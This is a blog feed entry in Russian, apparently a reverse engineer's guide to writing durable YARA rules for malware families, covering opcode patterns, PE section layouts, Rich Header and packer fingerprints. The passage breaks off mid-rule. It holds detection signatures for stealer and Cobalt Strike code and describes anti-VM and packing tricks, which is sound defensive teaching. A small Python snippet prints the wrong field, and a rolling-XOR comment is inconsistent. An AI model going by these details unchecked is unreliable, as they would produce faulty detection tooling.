<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>Будни ревёрсера</title><author><name>Будни ревёрсера</name></author><id>https://teletype.in/atom/sccrrap</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/sccrrap?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@sccrrap?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=sccrrap"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/sccrrap?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-08-04T06:58:37.230Z</updated><entry><id>sccrrap:6r1l80avuWP</id><link rel="alternate" type="text/html" href="https://teletype.in/@sccrrap/6r1l80avuWP?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=sccrrap"></link><title>YARA для семейств малвари: от образца к устойчивой сигнатуре</title><published>2026-06-16T12:11:00.557Z</published><updated>2026-06-16T12:11:00.557Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/ed/9b/ed9bc190-a687-4286-85f6-e70fc49c78df.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/1d/84/1d84e837-237d-4f51-910a-c7e35be9bdcd.png&quot;&gt;Сигнатура на конкретный образец — это антивирусный хэш. Задача YARA-аналитика другая: написать правило, которое покроет всё семейство сразу, включая образцы которых ты ещё не видел, и не триггернет на легитимный код.</summary><content type="html">
  &lt;figure id=&quot;svAG&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1d/84/1d84e837-237d-4f51-910a-c7e35be9bdcd.png&quot; width=&quot;1536&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;x2Mg&quot;&gt;Введение: почему сигнатуры на семейство — отдельная задача&lt;/h2&gt;
  &lt;p id=&quot;tINn&quot;&gt;Сигнатура на конкретный образец — это антивирусный хэш. Задача YARA-аналитика другая: написать правило, которое покроет всё семейство сразу, включая образцы которых ты ещё не видел, и не триггернет на легитимный код.&lt;/p&gt;
  &lt;p id=&quot;joia&quot;&gt;Это принципиально разные задачи. Хэш срабатывает ровно на один файл. Хорошее YARA-правило срабатывает на сотни образцов одного семейства — потому что оно описывает не конкретные байты конкретной сборки, а архитектурные и поведенческие константы всего семейства.&lt;/p&gt;
  &lt;p id=&quot;m2Pf&quot;&gt;Проблема &amp;quot;сигнатура сломалась через неделю&amp;quot; почти всегда означает одно: в правиле были volatile-признаки — строки C2, мьютексы с таймштампом, случайные смещения в коде. Малварь обновилась, эти байты сменились, правило перестало работать.&lt;/p&gt;
  &lt;p id=&quot;2Ybt&quot;&gt;Anti-fragile сигнатура строится иначе: она цепляется за то, что авторы малвари не могут поменять без переписывания всей архитектуры. Это опкодовые паттерны алгоритмов, структура PE, характеристики компоновщика, схемы XOR-расшифровки. Это то, что остаётся константным между кампаниями.&lt;/p&gt;
  &lt;p id=&quot;A8o3&quot;&gt;Гайд разбит по типам признаков: каждый раздел — отдельный класс индикаторов с практическими примерами правил, объяснением механики и анализом ошибок.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;WHSK&quot;&gt;Раздел 1: Устойчивые признаки — что не меняется между кампаниями&lt;/h2&gt;
  &lt;h3 id=&quot;Y0cO&quot;&gt;Принцип выбора признаков&lt;/h3&gt;
  &lt;p id=&quot;sdSU&quot;&gt;Перед написанием правила задать себе один вопрос: если авторы малвари выпустят следующую версию, это изменится?&lt;/p&gt;
  &lt;p id=&quot;Nlu0&quot;&gt;Строки — меняются. C2-адреса — меняются каждые дни или недели. Имена мьютексов — меняются. Пути в реестре — меняются.&lt;/p&gt;
  &lt;p id=&quot;lD15&quot;&gt;Не меняется: алгоритм расшифровки (потому что декриптор написан один раз и встроен в loader), структура конфига (потому что парсер конфига компилируется в бинарь), характеристики компоновщика (потому что семейство собирается одной и той же сборочной системой), схема anti-debug (потому что её пишет один человек и не трогает годами).&lt;/p&gt;
  &lt;h3 id=&quot;Iri9&quot;&gt;Практический отбор: кластерный анализ перед YARA&lt;/h3&gt;
  &lt;p id=&quot;C2lF&quot;&gt;До написания правила нужно посмотреть на несколько образцов семейства. Минимум три-пять разных кампаний или версий.&lt;/p&gt;
  &lt;p id=&quot;3ozH&quot;&gt;Инструмент: bindiff для сравнения бинарей, или ручное сравнение в Ghidra через функцию &amp;quot;Compare&amp;quot;. Смотреть: какие функции идентичны побайтово, какие похожи структурно, какие различаются. Идентичные и структурно похожие — кандидаты для сигнатуры.&lt;/p&gt;
  &lt;p id=&quot;3BYP&quot;&gt;Второй инструмент: capa (от MANDIANT). Он автоматически извлекает поведенческие характеристики — &amp;quot;использует RC4&amp;quot;, &amp;quot;читает из реестра Run key&amp;quot;, &amp;quot;вызывает NtWriteVirtualMemory&amp;quot;. Если эти характеристики совпадают между образцами — они достаточно устойчивы.&lt;/p&gt;
  &lt;h3 id=&quot;KQ0V&quot;&gt;Пример: устойчивый признак в AgentTesla&lt;/h3&gt;
  &lt;p id=&quot;BppK&quot;&gt;AgentTesla — стилер с многолетней историей. Строки C2 меняются ежедневно, мьютексы рандомизированы. Но семейство всегда использует один и тот же метод чтения clipboard через &lt;code&gt;OpenClipboard&lt;/code&gt; + &lt;code&gt;GetClipboardData&lt;/code&gt; + специфичный цикл обработки. Этот код не менялся с 2019 года.&lt;/p&gt;
  &lt;pre id=&quot;sAXX&quot;&gt;rule AgentTesla_ClipboardSteal_Stable {
    meta:
        author      = &amp;quot;SOC-analyst&amp;quot;
        description = &amp;quot;AgentTesla clipboard harvesting - stable across versions&amp;quot;
        date        = &amp;quot;2024-01&amp;quot;
        tlp         = &amp;quot;WHITE&amp;quot;

    strings:
        // Устойчивый паттерн инициализации clipboard loop
        // OpenClipboard(0) -&amp;gt; GetClipboardData(CF_TEXT=1) -&amp;gt; GlobalLock
        $clip_seq = {
            6A 00           // push 0  (hwnd = NULL)
            FF 15 ?? ?? ?? ??   // call OpenClipboard
            85 C0           // test eax, eax
            74 ??           // jz (fail branch)
            6A 01           // push 1  (CF_TEXT)
            FF 15 ?? ?? ?? ??   // call GetClipboardData
            50              // push eax (hData)
            FF 15 ?? ?? ?? ??   // call GlobalLock
        }

    condition:
        uint16(0) == 0x5A4D and
        filesize &amp;lt; 5MB and
        $clip_seq
}
&lt;/pre&gt;
  &lt;p id=&quot;wsJb&quot;&gt;Маска &lt;code&gt;??&lt;/code&gt; на адресах вызовов — потому что адреса IAT различаются между сборками. Паттерн push-последовательности остаётся константным.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;kjWx&quot;&gt;Раздел 2: Opcode patterns — поиск по байт-последовательностям&lt;/h2&gt;
  &lt;h3 id=&quot;6IQi&quot;&gt;Как читать опкоды для YARA&lt;/h3&gt;
  &lt;p id=&quot;Ykt9&quot;&gt;Дизасм показывает мнемоники. YARA работает с байтами. Конвертация происходит в голове аналитика или через плагины x64dbg/Ghidra.&lt;/p&gt;
  &lt;p id=&quot;6cgJ&quot;&gt;Правила байт-паттернов:&lt;/p&gt;
  &lt;ul id=&quot;A8K6&quot;&gt;
    &lt;li id=&quot;YYuR&quot;&gt;Опкоды инструкций — стабильны. &lt;code&gt;E8&lt;/code&gt; — это &lt;code&gt;CALL rel32&lt;/code&gt; всегда.&lt;/li&gt;
    &lt;li id=&quot;Xx98&quot;&gt;Immediate-значения (константы, адреса) — маскировать через &lt;code&gt;??&lt;/code&gt; или &lt;code&gt;[1-4]&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;KDds&quot;&gt;Относительные смещения в jmp/call — маскировать.&lt;/li&gt;
    &lt;li id=&quot;LpHW&quot;&gt;Регистровые опкоды (ModRM байт) — зависят от выбора компилятора, маскировать осторожно.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Ocqs&quot;&gt;Инструмент для конвертации: в x64dbg выделить блок → правый клик → Copy → Bytes. В Ghidra: Listing → правый клик на инструкции → Copy → Bytes. В IDA: Edit → Copy Special → Byte string.&lt;/p&gt;
  &lt;h3 id=&quot;sari&quot;&gt;XOR-декриптор как устойчивый паттерн&lt;/h3&gt;
  &lt;p id=&quot;e0GP&quot;&gt;Большинство семейств реализуют простой XOR-декриптор строк или конфига. Это цикл из 4-6 инструкций. Компилятор может оптимизировать его по-разному, но базовая структура остаётся.&lt;/p&gt;
  &lt;p id=&quot;sCFe&quot;&gt;Классический x86 XOR loop:&lt;/p&gt;
  &lt;pre id=&quot;0LSx&quot;&gt;; input: ESI = src, EDI = dst, ECX = length, BL = key
xor_loop:
    MOV AL, [ESI]      ; 8A 06
    XOR AL, BL         ; 32 C3
    MOV [EDI], AL      ; 88 07
    INC ESI            ; 46
    INC EDI            ; 47
    DEC ECX            ; 49
    JNZ xor_loop       ; 75 F7
&lt;/pre&gt;
  &lt;p id=&quot;sYMh&quot;&gt;YARA-паттерн:&lt;/p&gt;
  &lt;pre id=&quot;HWza&quot;&gt;rule XOR_Decryptor_Simple_x86 {
    meta:
        description = &amp;quot;Simple XOR decryption loop - common in droppers/loaders&amp;quot;

    strings:
        // MOV AL, [reg] -&amp;gt; XOR AL, reg -&amp;gt; MOV [reg], AL -&amp;gt; INC/INC/DEC -&amp;gt; JNZ
        $xor_loop_v1 = {
            8A 0?           // mov al/cl, [reg]
            32 ??           // xor al/cl, reg
            88 0?           // mov [reg], al/cl
            4?              // inc reg
            4?              // inc reg
            4?              // dec reg (counter)
            75 ??           // jnz (loop back)
        }

        // Вариант с LODSB/STOSB (компилятор оптимизирует через rep)
        $xor_loop_v2 = {
            AC              // lodsb
            32 ??           // xor al, reg (key)
            AA              // stosb
            E2 ??           // loop (dec ecx, jnz)
        }

    condition:
        uint16(0) == 0x5A4D and
        any of ($xor_loop_*)
}
&lt;/pre&gt;
  &lt;h3 id=&quot;YD1E&quot;&gt;Rolling XOR — более сложный вариант&lt;/h3&gt;
  &lt;p id=&quot;pa4F&quot;&gt;Многие современные семейства используют rolling key: ключ меняется на каждом байте (XOR с предыдущим зашифрованным байтом). Это частый паттерн в Emotet и похожих loader&amp;#x27;ах.&lt;/p&gt;
  &lt;pre id=&quot;7HBA&quot;&gt;; AL = текущий байт, BL = предыдущий расшифрованный байт (rolling key)
mov_byte:
    MOV AL, [ESI]      ; 8A 06
    XOR AL, BL         ; 32 C3
    MOV BL, [ESI]      ; 8A 1E  (сохраняем ЗАШИФРОВАННЫЙ байт как следующий ключ)
    MOV [EDI], AL      ; 88 07
    INC ESI            ; 46
    INC EDI            ; 47
    DEC ECX            ; 49
    JNZ               ; 75 F4
&lt;/pre&gt;
  &lt;p id=&quot;Olav&quot;&gt;Ключевой признак rolling XOR: два чтения из &lt;code&gt;[ESI]&lt;/code&gt; в одной итерации — одно для расшифровки, одно для сохранения ключа.&lt;/p&gt;
  &lt;pre id=&quot;OMRS&quot;&gt;rule RollingXOR_Loader {
    meta:
        description = &amp;quot;Rolling XOR decryption - typical Emotet/Trickbot loader pattern&amp;quot;

    strings:
        $rolling = {
            8A 06           // mov al, [esi]   (load byte)
            32 C?           // xor al, reg     (decrypt)
            8A 1?           // mov bl/cl, [esi] (save encrypted as next key)
            88 0?           // mov [edi], al   (store decrypted)
            4?              // inc esi
            4?              // inc edi
            4?              // dec ecx
            75 ??           // jnz
        }

    condition:
        uint16(0) == 0x5A4D and $rolling
}
&lt;/pre&gt;
  &lt;h3 id=&quot;5y52&quot;&gt;CPUID как anti-VM маркер&lt;/h3&gt;
  &lt;p id=&quot;0rPM&quot;&gt;Многие семейства делают CPUID с EAX=1 и проверяют бит ECX[31] — hypervisor present. Опкод CPUID это &lt;code&gt;0F A2&lt;/code&gt;.&lt;/p&gt;
  &lt;pre id=&quot;mwu1&quot;&gt;rule CPUID_AntiVM_Check {
    meta:
        description = &amp;quot;CPUID hypervisor check - anti-VM technique&amp;quot;

    strings:
        // MOV EAX, 1 -&amp;gt; CPUID -&amp;gt; TEST/BT ECX, bit31
        $cpuid_hv = {
            B8 01 00 00 00  // mov eax, 1
            0F A2           // cpuid
            F7 C1 00 00 00 80  // test ecx, 0x80000000  (bit 31)
        }

        // Вариант через BT (bit test)
        $cpuid_bt = {
            B8 01 00 00 00
            0F A2
            0F BA E1 1F     // bt ecx, 31
        }

    condition:
        uint16(0) == 0x5A4D and any of them
}
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;cYEs&quot;&gt;Раздел 3: PE features — структурные признаки исполняемого файла&lt;/h2&gt;
  &lt;h3 id=&quot;KN4W&quot;&gt;Что читать в PE-заголовке для YARA&lt;/h3&gt;
  &lt;p id=&quot;nhIV&quot;&gt;YARA даёт прямой доступ к байтам файла. PE-структура лежит в предсказуемых смещениях, и функции &lt;code&gt;uint8()&lt;/code&gt;, &lt;code&gt;uint16()&lt;/code&gt;, &lt;code&gt;uint32()&lt;/code&gt; позволяют читать их напрямую без парсера.&lt;/p&gt;
  &lt;p id=&quot;Q77Y&quot;&gt;Ключевые смещения:&lt;/p&gt;
  &lt;p id=&quot;CyjX&quot;&gt;Что Как читать     DOS-сигнатура MZ &lt;code&gt;uint16(0) == 0x5A4D&lt;/code&gt;   PE-offset &lt;code&gt;uint32(0x3C)&lt;/code&gt;   Machine (x86/x64) &lt;code&gt;uint16(uint32(0x3C) + 4)&lt;/code&gt;   Number of sections &lt;code&gt;uint16(uint32(0x3C) + 6)&lt;/code&gt;   TimeDateStamp &lt;code&gt;uint32(uint32(0x3C) + 8)&lt;/code&gt;   SizeOfOptionalHeader &lt;code&gt;uint16(uint32(0x3C) + 20)&lt;/code&gt;   Subsystem &lt;code&gt;uint16(uint32(0x3C) + 92)&lt;/code&gt;   NumberOfRvaAndSizes &lt;code&gt;uint32(uint32(0x3C) + 116)&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;S330&quot;&gt;Для удобства: в YARA 4.x есть встроенный модуль &lt;code&gt;pe&lt;/code&gt; — через него удобнее. Но понимание сырых смещений критично для случаев когда структура повреждена или модуль не доступен.&lt;/p&gt;
  &lt;h3 id=&quot;DdUQ&quot;&gt;Количество и имена секций как признак&lt;/h3&gt;
  &lt;p id=&quot;W3tn&quot;&gt;Семейства, использующие один и тот же пакер или компоновщик, имеют характерное количество секций и их имена.&lt;/p&gt;
  &lt;p id=&quot;nfXh&quot;&gt;Пример: Cobalt Strike Beacon с deflate-компрессией. Характерный набор секций: &lt;code&gt;.text&lt;/code&gt;, &lt;code&gt;.rdata&lt;/code&gt;, &lt;code&gt;.data&lt;/code&gt;, &lt;code&gt;.reloc&lt;/code&gt; — и всё. Нет &lt;code&gt;.rsrc&lt;/code&gt;. Нет секций с нестандартными именами. Размер &lt;code&gt;.text&lt;/code&gt; секции в определённом диапазоне.&lt;/p&gt;
  &lt;pre id=&quot;nHqe&quot;&gt;import &amp;quot;pe&amp;quot;

rule CobaltStrike_Beacon_PE_Layout {
    meta:
        description = &amp;quot;CS Beacon structural PE fingerprint - section layout&amp;quot;
        reference   = &amp;quot;internal analysis&amp;quot;

    condition:
        uint16(0) == 0x5A4D and
        pe.number_of_sections == 4 and
        pe.sections[0].name == &amp;quot;.text&amp;quot; and
        pe.sections[1].name == &amp;quot;.rdata&amp;quot; and
        pe.sections[2].name == &amp;quot;.data&amp;quot; and
        pe.sections[3].name == &amp;quot;.reloc&amp;quot; and
        // Нет ресурсов — типично для инжектируемого shellcode-beacon
        pe.data_directories[pe.DIRECTORY_ENTRY_RESOURCE].size == 0 and
        // Характерный диапазон размера
        pe.sections[0].raw_size &amp;gt; 0x5000 and
        pe.sections[0].raw_size &amp;lt; 0x50000
}
&lt;/pre&gt;
  &lt;h3 id=&quot;NT5v&quot;&gt;Подозрительные характеристики секций&lt;/h3&gt;
  &lt;p id=&quot;LAeO&quot;&gt;RWX-секции (Read + Write + Execute) — прямой индикатор in-memory распаковки или shellcode.&lt;/p&gt;
  &lt;pre id=&quot;x8bF&quot;&gt;import &amp;quot;pe&amp;quot;

rule PE_Section_RWX {
    meta:
        description = &amp;quot;Section with RWX permissions - unpacking or shellcode staging&amp;quot;

    condition:
        uint16(0) == 0x5A4D and
        for any i in (0 .. pe.number_of_sections - 1) : (
            pe.sections[i].characteristics &amp;amp; 0xE0000000 == 0xE0000000
            // 0x20000000 = EXECUTE, 0x40000000 = READ, 0x80000000 = WRITE
        )
}
&lt;/pre&gt;
  &lt;p id=&quot;STYp&quot;&gt;Секция с нулевым RawSize при ненулевом VirtualSize — классический UPX0:&lt;/p&gt;
  &lt;pre id=&quot;koYY&quot;&gt;import &amp;quot;pe&amp;quot;

rule PE_UPX0_Style_Section {
    meta:
        description = &amp;quot;Section with zero raw size - UPX0 pattern or custom packer&amp;quot;

    condition:
        uint16(0) == 0x5A4D and
        for any i in (0 .. pe.number_of_sections - 1) : (
            pe.sections[i].raw_size == 0 and
            pe.sections[i].virtual_size &amp;gt; 0x1000
        )
}
&lt;/pre&gt;
  &lt;h3 id=&quot;S1e5&quot;&gt;Точка входа в нестандартной секции&lt;/h3&gt;
  &lt;p id=&quot;oPMJ&quot;&gt;У нормального PE точка входа лежит в &lt;code&gt;.text&lt;/code&gt;. Если OEP указывает в другую секцию — это упакован или инжектирован код.&lt;/p&gt;
  &lt;pre id=&quot;aIZ7&quot;&gt;import &amp;quot;pe&amp;quot;

rule PE_OEP_Outside_Text {
    meta:
        description = &amp;quot;Entry point outside .text section&amp;quot;

    condition:
        uint16(0) == 0x5A4D and
        not (
            pe.entry_point &amp;gt;= pe.sections[0].virtual_address and
            pe.entry_point &amp;lt; pe.sections[0].virtual_address + pe.sections[0].virtual_size
        ) and
        pe.sections[0].name == &amp;quot;.text&amp;quot;
}
&lt;/pre&gt;
  &lt;h3 id=&quot;uYTj&quot;&gt;IAT минимализм как признак паккера&lt;/h3&gt;
  &lt;p id=&quot;8sdr&quot;&gt;Нормальный PE имеет 5-15 импортированных библиотек. Паккер оставляет только минимум для bootstrap — обычно &lt;code&gt;kernel32.dll&lt;/code&gt; с &lt;code&gt;GetProcAddress&lt;/code&gt; + &lt;code&gt;LoadLibraryA&lt;/code&gt;.&lt;/p&gt;
  &lt;pre id=&quot;IWJV&quot;&gt;import &amp;quot;pe&amp;quot;

rule Packed_Minimal_IAT {
    meta:
        description = &amp;quot;Minimal IAT - packer/loader bootstrap pattern&amp;quot;

    strings:
        $gpa  = &amp;quot;GetProcAddress&amp;quot; ascii
        $lla  = &amp;quot;LoadLibraryA&amp;quot; ascii

    condition:
        uint16(0) == 0x5A4D and
        pe.number_of_imports &amp;lt; 3 and
        $gpa and $lla and
        // Высокая энтропия подтверждает что это не просто маленький PE
        math.entropy(0, filesize) &amp;gt; 6.5
}
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;PMP0&quot;&gt;Раздел 4: Rich Header — отпечаток инструментальной цепочки&lt;/h2&gt;
  &lt;h3 id=&quot;XlEH&quot;&gt;Что такое Rich Header&lt;/h3&gt;
  &lt;p id=&quot;Pqgy&quot;&gt;Rich Header — блок данных между DOS-заглушкой и PE-сигнатурой. Он создаётся компоновщиком Microsoft Visual C++ и содержит список инструментов сборки: версии компилятора, ассемблера, компоновщика, и количество объектных файлов каждого типа.&lt;/p&gt;
  &lt;p id=&quot;LV1V&quot;&gt;Rich Header не является частью PE-стандарта и игнорируется загрузчиком. Но он несёт ценную информацию: по нему можно определить точную версию Visual Studio, и — критично для YARA — образцы, собранные одной и той же сборочной системой, будут иметь идентичный или очень похожий Rich Header.&lt;/p&gt;
  &lt;h3 id=&quot;r5b5&quot;&gt;Формат Rich Header&lt;/h3&gt;
  &lt;p id=&quot;veQ3&quot;&gt;Структура: XOR-закодированный блок, начинается с сигнатуры &lt;code&gt;DanS&lt;/code&gt; (в XOR), заканчивается сигнатурой &lt;code&gt;Rich&lt;/code&gt; + XOR-ключ (4 байта). Ключ — это само значение для расшифровки.&lt;/p&gt;
  &lt;p id=&quot;RG9q&quot;&gt;После расшифровки: массив пар &lt;code&gt;{CompId, Count}&lt;/code&gt; по 8 байт каждая. CompId кодирует тип инструмента и его версию.&lt;/p&gt;
  &lt;p id=&quot;fSag&quot;&gt;Для поиска в сыром виде: искать &lt;code&gt;52 69 63 68&lt;/code&gt; (&amp;quot;Rich&amp;quot;) — это маркер конца блока. XOR-ключ стоит сразу после него.&lt;/p&gt;
  &lt;h3 id=&quot;NN9W&quot;&gt;Rich Header как семейственная сигнатура&lt;/h3&gt;
  &lt;p id=&quot;bkzk&quot;&gt;Если несколько образцов одного семейства собраны одним и тем же билд-сервером с одними и теми же версиями инструментов — их Rich Header будет идентичен (после XOR с соответствующим ключом). Но сам ключ меняется между сборками.&lt;/p&gt;
  &lt;p id=&quot;QsQC&quot;&gt;Поэтому ищем не весь блок, а структурную константу: набор CompId без привязки к конкретному ключу.&lt;/p&gt;
  &lt;p id=&quot;8N2k&quot;&gt;Инструмент для анализа: &lt;code&gt;richprint&lt;/code&gt; (open source), или DIE который показывает Rich Header во вкладке. Также: pefile Python library через &lt;code&gt;rich_header&lt;/code&gt;.&lt;/p&gt;
  &lt;pre id=&quot;FNNK&quot;&gt;import pefile
pe = pefile.PE(&amp;quot;sample.exe&amp;quot;)
if hasattr(pe, &amp;quot;RICH_HEADER&amp;quot;):
    for entry in pe.RICH_HEADER.values:
        print(f&amp;quot;CompId: {entry[&amp;#x27;count&amp;#x27;]:#010x}, Count: {entry[&amp;#x27;count&amp;#x27;]}&amp;quot;)
&lt;/pre&gt;
  &lt;h3 id=&quot;1BtB&quot;&gt;YARA-правило на Rich Header паттерн&lt;/h3&gt;
  &lt;p id=&quot;D9tJ&quot;&gt;Задача: искать конкретный набор CompId, не завися от XOR-ключа.&lt;/p&gt;
  &lt;p id=&quot;RCit&quot;&gt;Это сложнее прямого поиска, потому что значения в файле XOR-ены. Но: если взять несколько образцов одного семейства и проверить, какие байты встречаются в Rich Header всех из них — найдётся инвариант.&lt;/p&gt;
  &lt;p id=&quot;zN1I&quot;&gt;Практический подход: декодировать Rich Header из нескольких образцов, найти пересечение CompId, написать YARA на сырые XOR-значения используя тот факт что ключ находится сразу после &lt;code&gt;Rich&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;GFSK&quot;&gt;Альтернативный подход для YARA — искать характерный набор инструментов через косвенные признаки, например сочетание версии компоновщика (которая часто видна в Debug Directory) и специфичных строк:&lt;/p&gt;
  &lt;pre id=&quot;hwnO&quot;&gt;import &amp;quot;pe&amp;quot;

rule RichHeader_VS2019_Specific_Toolchain {
    meta:
        description = &amp;quot;VS2019 v16.x toolchain - specific linker version in optional header&amp;quot;
        note        = &amp;quot;Linker 14.2x = VS2019&amp;quot;

    condition:
        uint16(0) == 0x5A4D and
        // Linker version: major.minor из Optional Header
        // Offset: PE_offset + 0x1A (MajorLinkerVersion) и +0x1B (MinorLinkerVersion)
        uint8(uint32(0x3C) + 0x1A) == 14 and        // MajorLinkerVersion = 14
        uint8(uint32(0x3C) + 0x1B) &amp;gt;= 20 and         // MinorLinkerVersion &amp;gt;= 20 (VS2019)
        uint8(uint32(0x3C) + 0x1B) &amp;lt; 30              // MinorLinkerVersion &amp;lt; 30 (до VS2022)
}
&lt;/pre&gt;
  &lt;p id=&quot;U2q7&quot;&gt;Для точного матчинга по сырому Rich Header — заранее декодировать образцы и искать константную последовательность раскодированных CompId:&lt;/p&gt;
  &lt;pre id=&quot;rGLh&quot;&gt;rule RichHeader_Specific_Build_Env {
    meta:
        description = &amp;quot;Specific build environment fingerprint via Rich Header&amp;quot;
        note        = &amp;quot;CompIds decoded from 3 samples of same campaign&amp;quot;

    strings:
        // Это пример - реальные значения берутся из конкретных образцов семейства
        // После декодирования Rich Header из трёх образцов были найдены эти CompId
        $rich_marker = { 52 69 63 68 }   // &amp;quot;Rich&amp;quot; - конец блока

    condition:
        uint16(0) == 0x5A4D and
        $rich_marker in (0x40..0x200)    // Rich Header всегда в первых 512 байтах
}
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;RK5c&quot;&gt;Раздел 5: Section layout — компоновка секций как отпечаток&lt;/h2&gt;
  &lt;h3 id=&quot;kfQD&quot;&gt;Почему компоновка секций устойчива&lt;/h3&gt;
  &lt;p id=&quot;VeEC&quot;&gt;Компоновщик создаёт секции по правилам, встроенным в его алгоритм. Разные версии компоновщиков создают разные &amp;quot;подписи&amp;quot; в расположении и именовании секций. Паккеры добавляют секции с характерными именами. Кастомные сборочные системы оставляют специфичный след.&lt;/p&gt;
  &lt;p id=&quot;3H24&quot;&gt;Ключевые параметры для анализа: количество секций, их имена, порядок, соотношение VirtualSize и RawSize, значения FileAlignment и SectionAlignment.&lt;/p&gt;
  &lt;h3 id=&quot;uwsx&quot;&gt;Паттерны специфичных паккеров&lt;/h3&gt;
  &lt;p id=&quot;Nyee&quot;&gt;&lt;strong&gt;MPRESS&lt;/strong&gt;: характерные имена &lt;code&gt;.MPRESS1&lt;/code&gt; и &lt;code&gt;.MPRESS2&lt;/code&gt;.&lt;/p&gt;
  &lt;pre id=&quot;DYJX&quot;&gt;import &amp;quot;pe&amp;quot;

rule Packer_MPRESS {
    meta:
        description = &amp;quot;MPRESS packer - section name fingerprint&amp;quot;

    condition:
        uint16(0) == 0x5A4D and
        pe.number_of_sections &amp;gt;= 2 and
        (
            pe.sections[0].name == &amp;quot;.MPRESS1&amp;quot; or
            pe.sections[1].name == &amp;quot;.MPRESS2&amp;quot;
        )
}
&lt;/pre&gt;
  &lt;p id=&quot;fjOw&quot;&gt;&lt;strong&gt;Themida/WinLicense&lt;/strong&gt;: секции с именами &lt;code&gt;.themida&lt;/code&gt;, &lt;code&gt;.winlice&lt;/code&gt;, или характерные имена в верхнем регистре.&lt;/p&gt;
  &lt;p id=&quot;Mgyl&quot;&gt;&lt;strong&gt;NSPack&lt;/strong&gt;: всегда три секции, последняя имеет имя &lt;code&gt;.nsp1&lt;/code&gt; или пустое имя с RWX флагами.&lt;/p&gt;
  &lt;p id=&quot;hKHp&quot;&gt;&lt;strong&gt;AutoIT-compiled&lt;/strong&gt;: один из надёжных признаков — секция &lt;code&gt;.rsrc&lt;/code&gt; содержащая ресурс с именем &lt;code&gt;SCRIPT&lt;/code&gt; и типом &lt;code&gt;RCDATA&lt;/code&gt;. Скрипт AutoIT хранится там.&lt;/p&gt;
  &lt;pre id=&quot;ShCB&quot;&gt;import &amp;quot;pe&amp;quot;

rule AutoIT_Compiled_Script {
    meta:
        description = &amp;quot;Compiled AutoIT script - SCRIPT resource&amp;quot;

    strings:
        $autoit_magic = &amp;quot;AU3!EA06&amp;quot; ascii  // AutoIT3 script magic

    condition:
        uint16(0) == 0x5A4D and
        $autoit_magic
}
&lt;/pre&gt;
  &lt;h3 id=&quot;3j2C&quot;&gt;Выравнивание как признак нестандартной сборки&lt;/h3&gt;
  &lt;p id=&quot;wRDp&quot;&gt;Нормальные PE-файлы используют &lt;code&gt;FileAlignment = 0x200&lt;/code&gt; (512 байт) или &lt;code&gt;0x1000&lt;/code&gt; (4096 байт). Нестандартные значения — признак ручной сборки или модификации заголовка.&lt;/p&gt;
  &lt;pre id=&quot;Mvhw&quot;&gt;rule PE_NonStandard_Alignment {
    meta:
        description = &amp;quot;Non-standard FileAlignment - manually crafted PE&amp;quot;

    condition:
        uint16(0) == 0x5A4D and
        // FileAlignment в Optional Header: offset 0x3C + PE_sig(4) + COFF(20) + 0x24
        uint32(uint32(0x3C) + 60) != 0x200 and
        uint32(uint32(0x3C) + 60) != 0x1000 and
        uint32(uint32(0x3C) + 60) != 0x400
}
&lt;/pre&gt;
  &lt;h3 id=&quot;IYkW&quot;&gt;Соотношение VirtualSize и RawSize&lt;/h3&gt;
  &lt;p id=&quot;MZmi&quot;&gt;При паковке: RawSize маленький (сжатый код), VirtualSize большой (место для распаковки). Соотношение VirtualSize/RawSize &amp;gt; 10 — сильный индикатор.&lt;/p&gt;
  &lt;pre id=&quot;56xx&quot;&gt;import &amp;quot;pe&amp;quot;

rule PE_High_Virtual_To_Raw_Ratio {
    meta:
        description = &amp;quot;High VirtualSize/RawSize ratio - packer decompression space&amp;quot;

    condition:
        uint16(0) == 0x5A4D and
        for any i in (0 .. pe.number_of_sections - 1) : (
            pe.sections[i].raw_size &amp;gt; 0 and
            pe.sections[i].virtual_size &amp;gt; pe.sections[i].raw_size * 10
        )
}
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;XJxY&quot;&gt;Раздел 6: XOR-маски — поиск зашифрованных конфигов&lt;/h2&gt;
  &lt;h3 id=&quot;zpqC&quot;&gt;Как малварь хранит зашифрованные данные&lt;/h3&gt;
  &lt;p id=&quot;mYMD&quot;&gt;Конфиг (C2, порты, ключи) обычно хранится в одном из трёх мест: в секции &lt;code&gt;.data&lt;/code&gt; как бинарный blob, в секции &lt;code&gt;.rsrc&lt;/code&gt; как ресурс, в оверлее (append-зоне после последней секции).&lt;/p&gt;
  &lt;p id=&quot;cIL5&quot;&gt;Задача: написать YARA-правило которое найдёт зашифрованный конфиг не зная ключа.&lt;/p&gt;
  &lt;h3 id=&quot;Tnro&quot;&gt;Entropy-паттерны для обнаружения зашифрованных блоков&lt;/h3&gt;
  &lt;p id=&quot;znGB&quot;&gt;XOR-шифрование с коротким ключом (1-4 байта) даёт характерное распределение байт: энтропия умеренная (5.5-7.0), не такая высокая как AES (7.9+). AES и RC4 дают близкую к равномерной энтропию.&lt;/p&gt;
  &lt;pre id=&quot;0aay&quot;&gt;import &amp;quot;math&amp;quot;

rule Encrypted_Config_Blob {
    meta:
